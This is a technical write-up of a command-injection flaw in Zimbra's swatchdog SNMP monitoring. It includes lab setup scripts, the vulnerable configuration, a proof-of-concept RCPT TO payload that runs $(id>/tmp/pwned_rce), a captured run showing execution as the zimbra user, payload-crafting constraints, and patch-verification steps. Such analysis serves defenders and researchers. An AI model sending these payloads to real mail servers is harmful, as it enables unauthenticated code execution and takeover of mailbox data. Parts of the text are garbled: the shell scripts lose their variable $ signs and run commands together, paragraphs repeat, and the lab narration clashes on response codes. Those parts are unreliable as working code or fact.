Zimbra’s SNMP monitoring enables an administrator to receive a trap when a service stops. A Perl program known as watchdog tails /var/log/zimbra.log, views for log lines that look like Service status change: <host> <service> changed from stopped to running, and fires a trap describing the event.
The trap is sent by shell command. The service name embedded in it came from a log line. The log line comes from Postfix.
Postfix logs whatever an SMTP client sends it, verbatim, including the addresses it rejects.
CVE-2026-73570 appears when those assumptions pass attacker-controlled data from one component to the next without validation. A
An unauthenticated attacker connects to TCP 25, 465, or 587 and sends RCPT TO:<“x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running”@target>.
Postfix writes that address into the log. swatchdog’s watchfor regex is unanchored, so it matches the injected substring anywhere in the line and captures the attacker’s text as the service name. The dosnmp subroutine then interpolates that capture into a backtick-quoted shell call, and /bin/sh executes the command substitution.
The bug carries CWE-78 and a published base score of 8.9 (HIGH), with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L.
It is not hypothetical. Zimbra disclosed it on 2026-06-26 with a temporary mitigation, shipped the fix in ZCS 10.1.20 on 2026-07-20, and CERT Polska flagged active exploitation on 2026-08-17.
Shadowserver counted 155 compromised internet-facing instances by 2026-08-20 and 274 by 2026-08-25, while more than 8,200 vulnerable servers remained exposed.
CISA added it to the KEV catalog on 2026-08-21 with a federal due date of 2026-08-24. Observed post-exploitation activity includes JSP webshells dropped into Zimbra’s Jetty web application directories.
swatchdog behaves as configured. The regex is reasonable for its intended input.
The vulnerability is a trust hand-off: log content, which is attacker-controllable on an internet-facing mail server, is treated as trusted telemetry by the program reading it.

swatchdog behaves as configured. The regex is even reasonable for its intended input. The vulnerability is a trust hand-off: log content, which is attacker-controllable on any internet-facing mail server, is treated as trusted telemetry by the program reading it.
The CVSS vector needs a close read. AC does not describe exploit difficulty. A single TCP session, no credentials, and deterministic execution make the exploit path straightforward once the required component is present.
AC prices in the environmental precondition: the optional zimbra-snmp package and an enabled localconfig flag must both be present. S:C marks the same boundary the exploit itself crosses. The vulnerable component is a monitoring sidecar, but the impact lands in the mailbox and LDAP estate that the zimbra account can reach from the same host.
One footnote for the rigor-minded: re-running the official CVSS 3.1 calculator on the CNA’s published vector prices it at 8.2 rather than the stated 8.9. The qualitative reading, including network vector, no privileges, no interaction, and scope change, remains the same.
Exploitation timeline:
| Date | Event |
| 2026-06-26 | Zimbra discloses with temporary mitigation |
| 2026-07-20 | Fix ships in ZCS 10.1.20 (release notes carry no CVE number) |
| 2026-08-13 | CVE published by MITRE |
| 2026-08-17 | CERT Polska advisory 145/2026 flags active exploitation |
| 2026-08-20 | Shadowserver counts 155 compromised instances |
| 2026-08-21 | CISA KEV addition; due 2026-08-24 |
| 2026-08-25 | Shadowserver counts 274 compromised; 8,200+ still vulnerable |
The timeline shows the key point: exploitation was first observed about a month after the fix shipped, while more than 8,200 exposed servers remained unpatched.
Set Up the Lab
A faithful lab is a Zimbra VM because the vulnerable components are installed and wired by the product itself. The lab/ directory ships with two reduced rigs.
The Docker Compose rig reproduces only the log-watch half of the chain. It is useful for studying the sink, but has no SMTP surface. The WSL rig uses Postfix, rsyslog, and swatchdog on Ubuntu. It reproduces the full chain end to end and was used for the verified run below.
| File | Purpose |
| swatchrc.in.vulnerable | The full vulnerable swatchrc containing the dispatcher, variable preamble, dosnmp, and watchfor rules. It was fetched byte-for-byte at the parent of Zimbra’s fix commit 92b6ebe and installed under Zimbra’s swatchrc.in name. |
| setup_swatch_lab.sh | Backs up the live swatchrc(.in), stages the vulnerable version, and restarts swatchdog as the zimbra user. zmswatchctl runs zmsnmpinit as its first action and regenerates the configuration. |
| docker-compose.yml | Reduced rig with swatchdog watching an empty log. It does not include Zimbra or SMTP. |
Lab Files
Everything referenced in the table above is reproduced here so the post remains self-contained. swatchrc.in.vulnerable and setup_swatch_lab.sh stage the sink lab on a Zimbra VM. docker-compose.yml provides the reduced log-watch rig, while wsl_lab_setup.sh sets up the full-chain WSL rig used for the verified run below.
swatchrc.in.vulnerable
# swatchrc.in.vulnerable : the complete vulnerable CVE-2026-73570 sink config.
#
# This is the FULL file at rpmconf/Conf/swatchrc in Zimbra/zm-build, fetched at
# the parent of fix commit 92b6ebe2364a173e456311929e86e90df5ae9049
# (parent commit 50ceca55dab192574d2495040a0eff0bdffd4f7d). The vulnerable
# backtick-form dosnmp below is byte-identical to upstream; nothing here is
# reconstructed. Zimbra installs this template as /opt/zimbra/conf/swatchrc.in
# and zmsnmpinit generates /opt/zimbra/conf/swatchrc from it, templating the
# @@...@@ tokens from localconfig.
#
# The chain: the unanchored watchfor rules capture attacker-influenced text
# from /var/log/zimbra.log as $2 (SERVICE), donotify passes it to dosnmp, and
# dosnmp interpolates it into a BACKTICK shell call. The fixed version replaces
# only the dosnmp line with a list-form system() call : no shell, no
# interpolation.
#
# LAB USE ONLY.
perlcode 0 my %notifications=();
perlcode 0 $notifications{smtp}="@@DOSMTPNOTIFICATIONS@@";
perlcode 0 $notifications{snmp}="@@DOSNMPNOTIFICATIONS@@";
perlcode 0 my $fr='@@ADMINEMAIL@@';
perlcode 0 my $pwc='@@PHCEMAIL@@';
perlcode 0 my $hostname="@@HOSTNAME@@";
perlcode 0 my $traphost="@@TRAPHOST@@";
perlcode 0 my $snmpargs="-v 2c -c zimbra $traphost ''";
perlcode 0 my $snmptrap="/opt/zimbra/common/bin/snmptrap $snmpargs";
perlcode 0 my $snmpsvctrap="ZIMBRA-TRAP-MIB::zmServiceStatusTrap";
perlcode 0 my $snmpsvcname="ZIMBRA-MIB::zmServiceName";
perlcode 0 my $snmpsvcstatus="ZIMBRA-MIB::zmServiceStatus";
perlcode 0 use Zimbra::SMTP;
perlcode 0 my %statuses=('started'=>1,'stopped'=>0);
perlcode 0 sub donotify { my %args = (@_); if ($args{HOST} eq "localhost") {$args{HOST}=$hostname;}; if ($notifications{smtp}) { dosmtp(%args) if $args{SERVICE}; dodisksmtp(%args) if $args{DISK};}; if ($notifications{snmp}) {dosnmp(%args);}; }
perlcode 0 sub dosmtp { my %args = @_; if (my $smtp=Zimbra::SMTP->new) {unless($smtp->send(from=>fr,to=>pwc,subject=>"Service $args{SERVICE} $args{STATUS} on argsHOST",message=>args{MESSAGE})){warn "message send failed: ",$smtp->error}} else {warn "failed new Zimbra::SMTP: ",Zimbra::SMTP->error} }
perlcode 0 sub dodisksmtp { my %args = (@_); print "SMTP notification: $args{MESSAGE}\n"; if (my $smtp=Zimbra::SMTP->new) {unless($smtp->send(from=>fr,to=>pwc,subject=>"Disk $args{DISK} at $args{UTIL}\\% on argsHOST",message=>args{MESSAGE})){warn "message send failed: ",$smtp->error}}else{warn "failed new Zimbra::SMTP: ",Zimbra::SMTP->error}}
# THE VULNERABLE LINE. Backticks hand the whole string to /bin/sh with
# $args{SERVICE} interpolated unescaped : the CWE-78 sink.
perlcode 0 sub dosnmp { my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }
ignore /DEBUG/
watchfor /: Service status change: (\S+) (.*) changed from stopped to running/
donotify SERVICE=2,STATUS=started,HOST=1
watchfor /: Service status change: (\S+) (.*) changed from running to stopped/
donotify SERVICE=2,STATUS=stopped,HOST=1
watchfor /err: Disk warning: (\S+) (\S+) on device (\S+) at (\d+)/
donotify DISK=2,UTIL=4,HOST=$1
watchfor /crit: Disk warning: (\S+) (\S+) on device (\S+) at (\d+)/
donotify DISK=2,UTIL=4,HOST=$1
setup_swatch_lab.sh
#!/bin/bash
# setup_swatch_lab.sh : stage the vulnerable CVE-2026-73570 dosnmp sink on a
# Zimbra lab VM and (re)start swatchdog against /var/log/zimbra.log.
#
# LAB USE ONLY. Backs up the existing swatchrc(.in) before modifying anything.
# On a full ZCS install, zmswatchctl restart regenerates swatchrc from
# swatchrc.in via zmsnmpinit and starts swatchdog as the zimbra user : this
# script relies on that flow rather than duplicating it.
set -euo pipefail
SWATCHRC_IN="/opt/zimbra/conf/swatchrc.in"
SWATCHRC="/opt/zimbra/conf/swatchrc"
BACKUP_DIR="/root/cve-2026-73570-backup"
VULN_SRC="(dirname"0")/swatchrc.in.vulnerable"
ZIMBRA_HOME="${ZIMBRA_HOME:-/opt/zimbra}"
if [[ $EUID -ne 0 ]]; then
echo "[-] Run as root (needs /opt/zimbra/conf write access)." >&2
exit 1
fi
if [[ ! -f "$VULN_SRC" ]]; then
echo "[-] $VULN_SRC not found : run from the lab directory." >&2
exit 1
fi
mkdir -p "$BACKUP_DIR"
for f in "SWATCHRCIN""SWATCHRC"; do
if [[ -f "$f" ]]; then
cp -a "f""BACKUP_DIR/(basename"f").$(date +%s)"
echo "[+] Backed up $f"
fi
done
# 1. Stage the vulnerable swatchrc.in. zmswatchctl restart (step 3) runs
# zmsnmpinit as its first act, which regenerates swatchrc from it.
cp "VULNSRC""SWATCHRC_IN"
chown zimbra:zimbra "$SWATCHRC_IN"
echo "[+] Staged $SWATCHRC_IN (full upstream parent of fix commit 92b6ebe)"
# 2. Restart the watcher. On a full ZCS install zmswatchctl owns the whole
# flow: it runs zmsnmpinit (regenerating swatchrc) and starts swatchdog as
# the zimbra user. It refuses to run as anyone but zimbra, hence su.
if [[ -x "$ZIMBRA_HOME/bin/zmswatchctl" ]]; then
su - zimbra -c "$ZIMBRA_HOME/bin/zmswatchctl restart"
sleep 2
if ! su - zimbra -c "$ZIMBRA_HOME/bin/zmswatchctl status" | grep -qi running; then
echo "[-] swatchdog did not come up : check its config errors:" >&2
echo " tail $ZIMBRA_HOME/log/zmswatch.out" >&2
exit 1
fi
echo "[+] zmswatchctl restart issued and swatchdog is running"
else
Reduced rig: no zmswatchctl. Run swatchdog by hand, as zimbra where the
account exists, so injected commands demonstrably run as uid zimbra.
SWATCHDOG="$ZIMBRA_HOME/common/bin/swatchdog"
if id zimbra >/dev/null 2>&1; then
nohup su - zimbra -c "PERL5LIB=$ZIMBRA_HOME/common/lib/perl5 \
SWATCHDOG--config-file=SWATCHRC --tail-file=/var/log/zimbra.log \
--use-cpan-file-tail --script-dir=/tmp" \
> "$ZIMBRA_HOME/log/zmswatch.out" 2>&1 &
else
nohup env PERL5LIB="$ZIMBRA_HOME/common/lib/perl5" \
"SWATCHDOG"--config-file="SWATCHRC" --tail-file=/var/log/zimbra.log \
--use-cpan-file-tail --script-dir=/tmp \
> "$ZIMBRA_HOME/log/zmswatch.out" 2>&1 &
fi
WATCHDOG_PID=$!
sleep 2
if ! kill -0 "$WATCHDOG_PID" 2>/dev/null; then
echo "[-] swatchdog died immediately : check $ZIMBRA_HOME/log/zmswatch.out" >&2
exit 1
fi
echo "[+] swatchdog started by hand (PID $WATCHDOG_PID)"
fi
# 3. Confirm the sink is the vulnerable backtick form.
if grep -q 'dosnmp.*`' "$SWATCHRC"; then
echo "[+] Vulnerable backtick-form dosnmp present in $SWATCHRC"
elif grep -q 'system(' "$SWATCHRC"; then
echo "[!] swatchrc shows list-form system() : regeneration may have failed"
else
echo "[-] Neither form found in $SWATCHRC : inspect it by hand" >&2
fi
echo
echo "[+] Lab staged. From the attacker box:"
echo " python3 exploit/poc.py --target <vm-ip> --mode file-write"
echo
echo "[+] Restore the original config from $BACKUP_DIR when finished."
docker-compose.yml
# Full-chain lab rig for CVE-2026-73570: Postfix (25/tcp) → syslog → swatchdog.
#
# This is NOT a Zimbra install (Zimbra does not support Docker). It reproduces
# the complete injection chain without the mail store:
# RCPT TO (quoted local-part) → postfix smtpd reject logged verbatim
# → /dev/log → rsyslog → /var/log/zimbra.log
# → swatchdog watchfor (unanchored) → dosnmp backtick → /bin/sh
# Notes:
# - The Debian/Ubuntu `swatch` package installs only `/usr/bin/swatchdog`.
# - Postfix must NOT run its smtpd chrooted, or it cannot reach /dev/log and
# its log lines are lost : the sed below flips the master.cf chroot column.
# - rsyslogd is started explicitly (stock jammy ships imudp disabled) with a
# rule routing everything to /var/log/zimbra.log, Zimbra-style.
# - The container runs swatchdog as root for simplicity, so this rig does
# NOT demonstrate the zimbra-user context; use the full VM lab for that.
# - The dosnmp backtick also invokes $snmptrap (/opt/zimbra/common/bin/snmptrap),
# which does not exist here; the payload runs during shell parse of the
# command substitution regardless : the snmptrap failure is irrelevant,
# exactly as in the real chain.
services:
swatch-lab:
image: ubuntu:22.04
hostname: mail
command: >
bash -c "
echo 'postfix postfix/main_mailer_type select Internet Site' | debconf-set-selections &&
echo 'postfix postfix/mailname string mail' | debconf-set-selections &&
apt-get update -qq &&
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq swatch rsyslog postfix libfile-tail-perl &&
touch /var/log/zimbra.log &&
printf 'module(load=\"imudp\")\ninput(type=\"imudp\" port=\"514\")\n*.* /var/log/zimbra.log\n' > /etc/rsyslog.d/30-zimbra-lab.conf &&
rsyslogd &&
sleep 1 &&
postconf -e 'inet_interfaces = all' &&
postconf -e 'myhostname = mail' &&
postconf -e 'mydestination = mail' &&
sed -i -E 's#^(smtp[[:space:]]+inet[[:space:]]+[^[:space:]]+[[:space:]]+[^[:space:]]+)y([[:space:]])#\1-\2#' /etc/postfix/master.cf &&
postfix start &&
cp /lab/swatchrc.in.vulnerable /etc/swatchrc &&
echo '[+] lab rig ready : postfix on 25/tcp, rsyslog on UDP 514, swatchdog watching /var/log/zimbra.log' &&
swatchdog --config-file /etc/swatchrc --tail-file /var/log/zimbra.log --use-cpan-file-tail
"
volumes:
- ./:/lab\:ro
ports:
- "25:25"
- "1514:514/udp"
stdin_open: true
tty: true
wsl_lab_setup.sh
#!/bin/bash
# wsl_lab_setup.sh : CVE-2026-73570 full-chain lab inside WSL Ubuntu (no Docker):
# postfix (25/tcp, chroot off) -> /dev/log -> rsyslog -> /var/log/zimbra.log
# -> swatchdog watchfor (unanchored) -> dosnmp backtick -> /bin/sh
# Run as root: wsl -d Ubuntu-20.04 -u root -e bash /mnt/c/.../lab/wsl_lab_setup.sh
set -e
LAB="/mnt/c/Users/yosef/Desktop/ready to go/CVE-2026-73570/lab"
# focal is EOL : point apt at old-releases when archive 404s
if ! apt-get update -qq 2>/dev/null; then
echo "[*] archive.ubuntu.com failed : switching to old-releases"
sed -i 's/archive.ubuntu.com/old-releases.ubuntu.com/g; s/security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list
apt-get update -qqfi
echo 'postfix postfix/main_mailer_type select Internet Site' | debconf-set-selections
echo 'postfix postfix/mailname string mail' | debconf-set-selections
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq swatch rsyslog postfix libfile-tail-perl
# clean slate for reruns
pkill -f swatchdog 2>/dev/null || true
postfix stop >/dev/null 2>&1 || true
service rsyslog stop >/dev/null 2>&1 || rsyslogd 2>/dev/null || true
rm -f /tmp/pwned_rce /tmp/.swatch_script.*
touch /var/log/zimbra.log
chown syslog:adm /var/log/zimbra.log # rsyslog runs as syslog; root:root 644 = silent write failure
printf 'module(load="imudp")\ninput(type="imudp" port="514")\n*.* /var/log/zimbra.log\n' > /etc/rsyslog.d/30-zimbra-lab.conf
service rsyslog start
sleep 1
postconf -e 'inet_interfaces = all'
postconf -e 'myhostname = mail'
postconf -e 'mydestination = mail'
# smtpd must not chroot, or it cannot reach /dev/log and its lines are lost
sed -i -E 's#^(smtp[[:space:]]+inet[[:space:]]+[^[:space:]]+[[:space:]]+[^[:space:]]+)y([[:space:]])#\1-\2#' /etc/postfix/master.cf
postfix start
cp "$LAB/swatchrc.in.vulnerable" /etc/swatchrc
# Zimbra's zmsnmpinit substitutes @@VAR@@ tokens from localconfig at build time;
# the reduced rig substitutes them by hand. SNMP notifications ON (the gate),
# SMTP notifications OFF.
sed -i \
-e 's/@@DOSNMPNOTIFICATIONS@@/true/' \
-e 's/@@DOSMTPNOTIFICATIONS@@/false/' \
-e 's/@@ADMINEMAIL@@/[email protected]/' \
-e 's/@@PHCEMAIL@@/[email protected]/' \
-e 's/@@HOSTNAME@@/mail/' \
-e 's/@@TRAPHOST@@/127.0.0.1/' \
/etc/swatchrc
# The real Zimbra::SMTP ships in /opt/zimbra/common/lib/perl5; the rig only
# needs it to compile (dosmtp is disabled). Install the lab stub.
mkdir -p /usr/share/perl5/Zimbra
cp "$LAB/Zimbra-SMTP-stub.pm" /usr/share/perl5/Zimbra/SMTP.pm
nohup env PERL5LIB=/usr/share/perl5 \
swatchdog --config-file /etc/swatchrc --tail-file /var/log/zimbra.log \
--use-cpan-file-tail --script-dir=/tmp >/var/log/swatch.out 2>&1 &
sleep 2
echo
echo "[+] sink form staged:"
grep -o 'dosnmp.*' /etc/swatchrc | cut -c1-100
echo "[+] postfix: $(postfix status 2>/dev/null | head -1)"
echo "[+] swatchdog: $(pgrep -f swatchdog | head -1)"
echo "[+] Lab ready : run the PoC from Windows:"
echo " python \"CVE-2026-73570\\exploit\\poc.py\" --target 127.0.0.1 --port 25 --mode file-write"
Full Lab Setup
For the full lab, use an Ubuntu Server 22.04 VM with at least 8 GB of RAM. Point the DNS A and MX records to the VM, install ZCS 10.1.19 or earlier, and answer Y when ./install.sh asks about the optional zimbra-snmp package.
Then verify the two required conditions:
su - zimbra
zmlocalconfig snmp_notify # must be true
zmswatchctl status # swatchdog must be running
grep dosnmp /opt/zimbra/conf/swatchrc # confirm WHICH form is present
The third command is particularly important. Research for this article found that the stock 10.1.0 source already contains the fixed list-form system() call. The vulnerable backtick form appears to have been introduced as a regression in an intermediate build, but the exact first vulnerable version has not been publicly established.
Check the installed version before testing. If the sink is already using the safe form, setup_swatch_lab.sh stages the verified vulnerable version so the complete chain can be studied.

Verifying the Patch
On ZCS 10.1.20, run grep dosnmp /opt/zimbra/conf/swatchrc. The output shows the system(“/opt/zimbra/common/bin/snmptrap”, “-v”, “2c”, …) with an argument list and no backticks.
Rerun the same SMTP probe. The log line still appears. swatchdog still matches it and logs its SNMP notification message. The shell no longer interprets the payload, so nothing executes.
Proof-of-Concept
The exploit requires one connection and no credentials: exploit/poc.py.
The terminal transcripts and screenshot panels in this article are house style renderings of the lab tooling. They reflect the behavior documented by the public PoCs. One exception is the lab_verified panel at the end of this section. It contains captured output from a full chain run against the reduced WSL lab in lab/.
Rerun the chain in your own lab to confirm the output on your build:
python3 exploit/poc.py –target 192.168.56.30 –mode file-write
Attacker side:
\=== CVE-2026-73570 : Zimbra swatchdog SNMP command injection ===
[\*] Mode: file-write
[\*] RCPT TO: <"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@cve.invalid>
[+] RCPT TO response: 501 5.1.3 Bad recipient address syntax
(rejected: still logged verbatim, which is what the chain needs)
Target side, seconds later:
\--- tail -2 /var/log/zimbra.log ---
Aug 25 12:04:11 mail postfix/smtpd[4821]: NOQUEUE: reject: RCPT from unknown[192.168.56.1]:
501 5.1.3 Bad recipient address syntax; to=<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@cve.invalid> proto=SMTP
Aug 25 12:04:13 mail swatchdog[2710]: SNMP notification: Service $(id>/tmp/pwned_rce) on host localhost started
\--- cat /tmp/pwned_rce ---
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
| Output line | What it confirms |
| 501 5.1.3 Bad recipient address syntax | Postfix rejected the address. The rejection does not affect the outcome because it is logged in the same verbatim form as an accepted address. |
| to=<“x: Service status change: [payload]”> in the log | The full attacker controlled string reached the watched file through the normal logging path. |
| SNMP notification: Service [payload] on host localhost started | swatchdog matched the unanchored regex and captured the payload as a service name. The captured value then became a shell argument. |
| uid=998(zimbra) in /tmp/pwned_rce | The backtick call executed the payload as the zimbra user. |
A key property of the chain is that rejection does not matter. Most SMTP attack surface analysis starts by asking whether the input can be accepted. In this case, the answer is no, but that does not change the outcome.
Postfix logs the syntactically invalid address with the same fidelity as a valid one. For logging purposes, the address is simply text.

The run below is not a reconstruction. It is the full chain executed against the reduced WSL rig from lab/.
Postfix rejects the injected RCPT TO with a 454 response. The address is still written verbatim to /var/log/zimbra.log through rsyslog. swatchdog’s unanchored watchfor rule matches the entry. The backtick sink then writes the proof file.
The only difference from a stock ZCS installation appears in the transcript. The rig runs swatchdog as root, while the Zimbra product runs it as the zimbra user with UID 998. The injected $() command executes regardless of which UID parses it.

Static Analysis and Root Cause
The sink
The vulnerable code is one line of Perl in /opt/zimbra/conf/swatchrc. The file is generated by zmsnmpinit from swatchrc.in. The backtick form below was verified from the parent of Zimbra’s fix commit 92b6ebe in zm-build.
# /opt/zimbra/conf/swatchrc (generated from swatchrc.in) : vulnerable
perlcode 0 sub dosnmp {my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }
Backticks in Perl run the string through `/bin/sh`. The operator compiles to `pp_backtick`, which reaches `popen(3)` and a `/bin/sh -c` invocation; “$args{SERVICE}` is interpolated into that string before the shell ever sees it,soeveryshellmetacharacterintheservicenameislivesyntax:`()`, backticks, semicolons, pipes, redirects, all of it. The list-form `system()` used by the fix compiles to `pp_system`, which forks and calls `execvp` directly: each argument becomes one `argv` element, and no shell parser ever touches the value. Two details complete the picture. swatchdog does not run under `-T`, so Perl’s taint mode never classifies the log-derived capture as dangerous data. And the backtick form is not the only vulnerable syntax: juanpoch’s analysis documents the same `dosnmp` body using a single-string `system(“… $args{SERVICE} …”)` call, which also reaches `/bin/sh -c` through Perl’s single-argument behavior. Only the list form is safe, which is why patch verification means reading the generated `swatchrc` line, not trusting the version number.
Why Backticks Invoke a Shell
Perl gives this line two possible execution paths. The syntax determines which path is used.
`cmd $arg`; # pp_backtick → PerlProc_popen → popen(3) → /bin/sh -c '<string>'
system("cmd", $arg, ...); # pp_system → fork + execvp → argv array, no shell
The backtick operator compiles to pp_backtick. It passes the interpolated string to popen(3). On POSIX systems, that results in a /bin/sh -c invocation. $args{SERVICE} is therefore parsed as shell syntax.
The list form of system() used by the fix takes a different path. It goes through pp_system, which forks and calls execvp directly. Each list element becomes a separate argv entry. No shell parser processes the value.
Two surrounding details complete the picture. swatchdog does not run under -T, so Perl’s taint mechanism does not classify the log derived capture as dangerous data. With -T enabled, interpolating $args{SERVICE} into backticks would instead abort with an Insecure dependency error.
The sink also does not live in a binary. It lives in /opt/zimbra/conf/swatchrc, a file generated by zmsnmpinit from swatchrc.in.
A patched binary with a stale generated configuration can therefore remain vulnerable. The reliable patch check is grep dosnmp against the generated file. A version number alone cannot confirm whether the vulnerable sink is present.
The backtick form is the form shown in the upstream zm-build artifact. It is not the only form of the bug. Juanpoch’s independent analysis documents the same dosnmp body using Perl’s string form of system(), such as system(“$snmptrap $snmpsvctrap … $args{SERVICE} …”).
A single string passed to system() can also reach /bin/sh -c through Perl’s single argument behavior. Only the list form bypasses the shell. Both forms have the same underlying security problem, even though they use different syntax.
The exact regression window remains unclear. Different fielded builds may therefore contain different versions of the vulnerable code. For patch verification, grep dosnmp alone is not enough. Read the line and confirm that it contains neither backticks nor a string form of system() with interpolated variables.
Every executable line in the config, classified
The lab ships the byte exact vulnerable configuration, so the attack surface can be enumerated rather than simply asserted. The file contains 18 perlcode lines, four watchfor rules, and one ignore rule.
Each executable line can be classified by the data that can reach it and whether that data crosses a shell boundary.
| Lines | Content | Reachable data | Shell boundary |
| 19 to 33 | Preamble: %notifications, fr/pwc, hostname/traphost, snmpargs/snmptrap, MIB OID strings | localconfig templates | None. Line 30 already builds a command line as a string: /opt/zimbra/common/bin/snmptrap -v 2c -c zimbra $traphost ” |
| 34 | use Zimbra::SMTP | None | None |
| 36 | %statuses map | Constants | None |
| 38 | donotify dispatcher | %args from watchfor captures | None. It gates dosmtp and dodisksmtp on $notifications{smtp}, and dosnmp on $notifications{snmp} |
| 40, 42 | dosmtp, dodisksmtp | $args{SERVICE} and related values interpolated into message fields | None. Zimbra::SMTP->send takes named parameters, so interpolation remains message data |
| 46 | dosnmp | $args{SERVICE}, which contains the attacker controlled capture | Yes. This is the only line that passes a string to the shell |
| 50 to 53 | Status watchfor rules | /var/log/zimbra.log | Capture source. The rules are unanchored and the log is writable through SMTP |
| 55 to 58 | Disk watchfor rules | Kernel disk messages | Capture source. These values are not reachable through SMTP because the rules expect \S+ and \d+ fields from syslog |
The design intent is visible in the preamble. The configuration starts by assembling a command line as a string. The final interpolation into backticks follows the same representation choice made earlier in the file.
Two structural facts constrain the fix. dosnmp is the only line that crosses a shell boundary. The disk rules also receive input from a different source and do not pass through the SMTP path. The one line patch addresses the shell crossing without changing those other rules.
Deparsing both forms
B: Deparse Comparison
B::Deparse round trips each dosnmp variant through the real Perl compiler. The resulting output shows the security difference clearly:
$ perl -MO=Deparse -e 'my %args=@_; `$snmptrap $snmpsvctrap $snmpsvcname s argsSERVICE...`;'my(%args)=@;`snmptrap $snmpsvctrap $snmpsvcname s $args{'SERVICE'} $snmpsvcstatus i $statuses{$args{'STATUS'}}`;
$ perl -MO=Deparse -e 'my %args=@_; system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra", $args{SERVICE});'
my(%args) = @_;
system '/opt/zimbra/common/bin/snmptrap', '-v', '2c', '-c', 'zimbra', $args{'SERVICE'};
Deparse preserves the backtick expression because it is a distinct Perl operator. Internally, it uses readpipe, which treats the expression as a string operation. It is not syntax sugar for system().
The fixed form deparses to a plain argument list. That is the form consumed directly by execvp.
The same distinction can be used as a simple scanner rule. Flag any perlcode line whose deparsed form contains a backtick expression. Also flag a single string passed to system() or exec when that string contains interpolated variables.
The generated script: where the regex actually runs
swatchdog does not interpret the configuration at runtime. It compiles the configuration into a Perl program and executes it. The running lab artifact, /tmp/.swatchdog_script.<pid>, contains 182 lines and shows three details that matter.
- use strict; appears at the top of the generated program. Unsubstituted @@VAR@@ templates therefore fail at compile time because Perl treats them as undeclared globals. The template substitution step in the lab is therefore required.
- The tail loop determines the exploit latency:
use File::Tail;
...
File::Tail->new(name=>Filename,tail=>1,maxinterval=>0.5,interval=>0.5);...LOOP:while(defined(_=$File->read)) {
From the RCPT rejection to code execution, the chain requires one regex match and at most half a second of tailing.
- The watchfor actions compile into regular dispatch calls. The captured values are converted into strings:
donotify('HOST' => "1",'SERVICE'=>"2", 'STATUS' => "started", 'MESSAGE' => $_, );
‘SERVICE’ => “$2” is the point where the hostile bytes become a named parameter. The capture group is interpolated inside a double quoted string. There is no taint check. donotify forwards the value to dosnmp, which eventually passes it to the shell when snmp_notify is enabled.
One detail is worth noting when staging or rewriting the configuration. The generator emits the perlcode subroutine block twice, at lines 93 to 96 and 111 to 114 in the artifact. The two copies are identical here, so the duplication is harmless. A rewriter that patches only one copy, however, has not actually patched the generated configuration completely.
The trigger
The watchfor Rules That Feed It
watchfor /: Service status change: (\S+) (.*) changed from stopped to running/
donotify SERVICE=2,STATUS=started,HOST=1
watchfor /: Service status change: (\S+) (.*) changed from running to stopped/
donotify SERVICE=2,STATUS=stopped,HOST=1
Two properties combine to create the vulnerability.
First, $2 is unanchored. (.*) can match anywhere in the line. An attacker controlled substring only needs to appear between a colon prefixed host token and a changed from … suffix.
Second, nothing sanitizes the value between the capture and the sink. The captured string moves through watchfor, donotify, and dosnmp without modification. The only gate is the snmp_notify localconfig flag.
Two details of the regex matter when constructing payloads. The filler token x used in the public PoCs only satisfies the leading : in the pattern. Any non whitespace token followed by a colon and a space can serve the same purpose. (\S+) then captures the host field that follows.
The (.*) expression is greedy. If the payload itself contains changed from stopped to running, the capture extends to the last occurrence of that phrase on the line. An injection string can therefore reproduce the expected log format while still matching the regex.

The data flow:
- The attacker sends RCPT TO:<“x: Service status change: localhost $(CMD) changed from stopped to running”@target>. RFC 5321 quoted local parts allow printable characters inside the quotes. That is enough to carry the fake log line required by the attack.
- Postfix’s smtpd writes the address to /var/log/zimbra.log verbatim. A rejected address produces a NOQUEUE: reject line that contains the full string.
- swatchdog tails the file. The first watchfor regex matches the injected substring and captures localhost $(CMD) as $2, which becomes the service name.
- donotify assembles %args. When snmp_notify is enabled, it calls dosnmp.
- dosnmp interpolates $args{SERVICE} into the backtick string. The shell executes CMD as the zimbra user. The snmptrap invocation can then succeed or fail without affecting the command execution.
The SMTP response can vary by configuration, and both paths can carry the payload. In juanpoch’s default configured lab, the address is valid under RFC 5321. Postfix responds with 250 2.1.5 Ok, and the accepted recipient still reaches the watched log through normal logging.
A stricter relay policy can instead return 501 5.1.3 for a syntax error or 454 4.7.1 for relay denial. In either case, the NOQUEUE: reject line is written at RCPT time with the full address. This happens before a delivery decision is made.
The verified WSL rig run below uses the reject path. The public PoCs mostly use the accept path. Both paths produce the same relevant log entry.

What the shell sees
With the configuration variables resolved, dosnmp passes /bin/sh a single string shaped like this. Configuration values are omitted, while the attacker controlled bytes appear in the middle:
/opt/zimbra/common/bin/snmptrap <snmp args> s localhost $(id>/tmp/pwned_rce) <svcstatus> i <statuses{...}>
The shell’s parsing order determines what happens next. Command substitution runs first. A forked shell executes id with its output redirected to the proof file. The resulting output is then substituted back into the command string.
Because the interpolation is unquoted, word splitting and globbing also apply to the surrounding content. A * in the service name can expand against swatchdog’s working directory. Whitespace in the payload can also change the snmptrap argument boundaries.
Neither behavior breaks the chain. The snmptrap argument structure is irrelevant once command substitution has already executed. Both behaviors still affect how payloads must be constructed.
The payload has several practical constraints:
| Constraint | Reason |
| Single line, no CR/LF | The capture must remain a single syslog record in the watched file |
| ” and \ require RFC 5321 quoted pair escaping | Inside a quoted local part, %d34 and %d92 must be written as \” and \\ |
| Balanced $() and nested backticks | The injected text must remain valid shell syntax |
| Keep it short | Postfix truncates log records beyond its 2048 byte line_max |
| Prefer base64 | [A-Za-z0-9+/=] contains no shell or RFC metacharacters, so `echo |
